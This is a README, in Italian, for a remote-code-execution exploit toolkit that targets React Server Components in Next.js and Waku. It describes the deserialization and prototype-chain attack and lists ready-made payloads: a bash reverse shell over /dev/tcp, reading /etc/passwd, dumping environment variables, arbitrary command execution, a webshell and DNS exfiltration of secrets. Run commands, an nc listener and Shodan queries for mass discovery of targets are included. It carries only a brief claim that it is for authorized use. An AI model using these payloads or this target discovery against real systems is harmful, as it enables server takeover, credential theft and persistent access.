
Toolkit avanzato di sfruttamento RCE per vulnerabilità dei React Server Components. Include molteplici payload preconfigurati, integrazione con Shodan per la scoperta dei target e scansione di massa per test di penetrazione autorizzati.
Toolkit avanzato per lo sfruttamento delle vulnerabilità di Esecuzione Remota di Codice nei React Server Components
Solo per test di penetrazione autorizzati e ricerca sulla sicurezza
Funzionalità • Installazione • Utilizzo • Integrazione Shodan • Esempi • Disclaimer
Questo toolkit sfrutta una vulnerabilità critica di Esecuzione Remota di Codice (RCE) nelle implementazioni dei React Server Components (RSC), prendendo di mira in particolare:
La vulnerabilità sfrutta la prototype pollution e la deserializzazione non sicura nel meccanismo di gestione dei dati di RSC per ottenere l'esecuzione arbitraria di codice sul server.
I React Server Components utilizzano un formato di serializzazione personalizzato per trasferire dati tra client e server. La vulnerabilità risiede nel modo in cui questi framework deserializzano ed elaborano payload appositamente costruiti.
Catena di attacco:
$X:constructor:constructor per accedere al costruttore di Function_prefixAttacker → Malicious RSC Payload → Target Server
↓
Unsafe Deserialization
↓
Prototype Chain Access
↓
Function Constructor
↓
⚠️ RCE ACHIEVED ⚠️
| Payload | Descrizione | Caso d'uso |
|---|---|---|
console | PoC di base (console.log) | Verificare la vulnerabilità |
reverseShell | Reverse shell Bash | Accesso iniziale |
readFile | Legge /etc/passwd | Accesso al filesystem |
envDump | Scarica le variabili d'ambiente | Estrazione di credenziali |
execCommand | Esegue comandi di sistema | Esecuzione arbitraria di comandi |
webshell | Distribuisce una webshell Express | Accesso persistente |
exfilPackage | Esfiltra package.json | Analisi delle dipendenze |
dnsExfil | Esfiltrazione DNS (OOB) | Sfruttamento cieco |
git clone https://github.com/yourusername/rsc-rce-exploit.git
cd rsc-rce-exploit
npm install
# or
yarn install
# Install Shodan CLI
pip install shodan
# Initialize with your API key
shodan init YOUR_API_KEY
node rsc-rce-exploit.js --target http://vulnerable-target.com --payload console
# Start listener
nc -lvnp 4444
# Execute exploit
node rsc-rce-exploit.js \
--target http://vulnerable-target.com \
--payload reverseShell \
--lhost 10.10.14.5 \
--lport 4444
node rsc-rce-exploit.js \
--target http://vulnerable-target.com \
--payload execCommand \
--command "whoami"
node rsc-rce-exploit.js [options]
| Opzione | Descrizione | Obbligatoria |
|---|---|---|
--target <url> | URL del target | ✅ |
--framework <name> | Framework: next o waku | ❌ (predefinito: next) |
--payload <name> | Nome del payload (vedi sotto) | ✅* |
--custom <code> | Codice JavaScript personalizzato | ✅* |
--lhost <ip> | Il tuo IP (per la reverse shell) | ❌ |
--lport <port> | La tua porta (per la reverse shell) | ❌ |
--command <cmd> | Comando da eseguire | ❌ |
--endpoint <path> | Endpoint RSC personalizzato (Waku) | ❌ |
--action-id <id> | ID next-action personalizzato | ❌ |
--list | Elenca i payload disponibili | ❌ |
--verbose | Output dettagliato | ❌ |
--help | Mostra l'aiuto | ❌ |
*È richiesto uno tra --payload e --custom
Visualizza tutti i payload:
node rsc-rce-exploit.js --list
Output:
📋 Available payloads:
console - Basic PoC - Console output
Code: console.log(7*7+1)
reverseShell - Reverse shell (bash)
Code: require('child_process').exec('bash -c "bash -i >& /dev/tcp/LHOST/LPORT 0>&1"')
readFile - Read /etc/passwd
Code: console.log(require('fs').readFileSync('/etc/passwd','utf8'))
envDump - Dump environment variables
Code: console.log(JSON.stringify(process.env,null,2))
execCommand - Execute system command
Code: console.log(require('child_process').execSync('COMMAND').toString())
webshell - Write webshell to /tmp
Code: require('fs').writeFileSync('/tmp/shell.js','...')
exfilPackage - Read package.json
Code: console.log(require('fs').readFileSync('./package.json','utf8'))
dnsExfil - DNS exfiltration
Code: require('dns').resolve4(Buffer.from(process.env.SECRET||'nosecret')...)
Esegui qualsiasi codice JavaScript:
node rsc-rce-exploit.js \
--target http://target.com \
--custom "require('fs').readdirSync('.').forEach(f=>console.log(f))"
# Basic Next.js
http.component:"Next.js"
# Next.js with RSC
http.html:"__next" http.html:"RSC"
# Next.js dev mode (more vulnerable)
http.html:"__NEXT_DATA__" http.html:"development"
# Self-hosted Next.js (not on Vercel)
http.component:"Next.js" -org:"Vercel"